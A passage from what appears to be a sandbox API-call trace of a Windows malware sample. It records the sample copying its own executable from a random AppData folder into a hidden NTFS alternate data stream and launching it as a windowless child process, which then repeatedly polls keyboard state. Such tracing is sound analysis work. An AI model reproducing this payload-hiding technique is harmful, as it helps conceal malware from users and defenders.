dwReserved1=0x3a, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0247.753] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0247.754] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0247.754] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0247.754] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0247.754] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0247.754] FindNextFileW (in: hFindFile=0x6368a0, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x610150, dwReserved1=0x3a, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe9d8 [0247.754] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23feae8 [0247.754] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe9d8) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe9d8 [0247.754] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\bitsadmin.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\bitsadmin.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x23f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0247.754] GetLastError () returned 0x7b [0247.754] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23feae8) returned 1 [0247.754] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x282a00 [0247.754] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282a00) returned 1 [0247.754] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x23f0000, ftLastAccessTime.dwLowDateTime=0x282a00, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0247.754] GetLastError () returned 0x2 [0247.754] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x124 [0247.754] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0247.755] WriteFile (in: hFile=0x124, lpBuffer=0x2829b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x2829b8*, lpNumberOfBytesWritten=0x18f98c*=0x0, lpOverlapped=0x0) returned 1 [0247.755] NtClose (Handle=0x124) returned 0x0 [0247.755] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe9d8) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fea60) returned 1 [0247.755] FindClose (in: hFindFile=0x6368a0 | out: hFindFile=0x6368a0) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.755] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.755] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x800) returned 0x283958 [0247.755] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x283958, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe")) returned 0x37 [0247.755] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9fbbe8d0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fbbe8d0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fbbe8d0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0247.755] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0247.755] SetFileTime (hFile=0x120, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 0 [0247.755] GetFileSize (in: hFile=0x120, lpFileSizeHigh=0x18f94c | out: lpFileSizeHigh=0x18f94c*=0x0) returned 0x27000 [0247.755] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0247.755] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x27000) returned 0x289ea8 [0247.757] ReadFile (in: hFile=0x120, lpBuffer=0x289ea8, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x289ea8*, lpNumberOfBytesRead=0x18f98c*=0x27000, lpOverlapped=0x0) returned 1 [0247.758] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x27000) returned 0x2b0eb0 [0247.761] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x289ea8) returned 1 [0247.761] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x27000) returned 0x289ea8 [0247.761] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x2829b8) returned 1 [0247.761] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x2b0eb0) returned 1 [0247.761] NtClose (Handle=0x120) returned 0x0 [0247.761] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.761] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x283958) returned 1 [0247.761] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x23f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0247.761] GetLastError () returned 0x2 [0247.761] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x120 [0247.762] SetFileTime (hFile=0x120, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0247.762] WriteFile (in: hFile=0x120, lpBuffer=0x289ea8*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18f98c, lpOverlapped=0x0 | out: lpBuffer=0x289ea8*, lpNumberOfBytesWritten=0x18f98c*=0x27000, lpOverlapped=0x0) returned 1 [0247.765] NtClose (Handle=0x120) returned 0x0 [0247.765] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.765] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x289ea8) returned 1 [0247.765] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.765] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x100) returned 0x282850 [0247.765] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.765] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fc14*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fc04 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", lpProcessInformation=0x18fc04*(hProcess=0x124, hThread=0x120, dwProcessId=0x6cc, dwThreadId=0x6d8)) returned 1 [0247.782] NtClose (Handle=0x120) returned 0x0 [0247.782] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x282850) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x289510) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x288d08) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x288500) returned 1 [0247.783] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe8c8 [0247.783] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fe950 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe8c8) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe950) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x287cf8) returned 1 [0247.783] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe268) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd288) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fe1e0) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd278) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fd5e8) returned 1 [0247.783] ExitProcess (uExitCode=0x0) Thread: id = 993 os_tid = 0x6d0 Process: id = "80" image_name = "7baxki~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\7baxki~1:bin" page_root = "0x6bcc1000" os_pid = "0x6cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "79" os_parent_pid = "0x69c" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 994 os_tid = 0x6d8 [0248.003] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" [0248.003] GetStockObject (i=168) returned 0x0 [0248.004] GetAsyncKeyState (vKey=58) returned 0 [0248.004] GetKBCodePage () returned 0x1b5 [0248.004] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.009] GetKBCodePage () returned 0x1b5 [0248.009] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.009] GetFocus () returned 0x0 [0248.009] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0248.010] GetFocus () returned 0x0 [0248.010] GetAsyncKeyState (vKey=58) returned 0 [0248.010] GetKBCodePage () returned 0x1b5 [0248.010] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 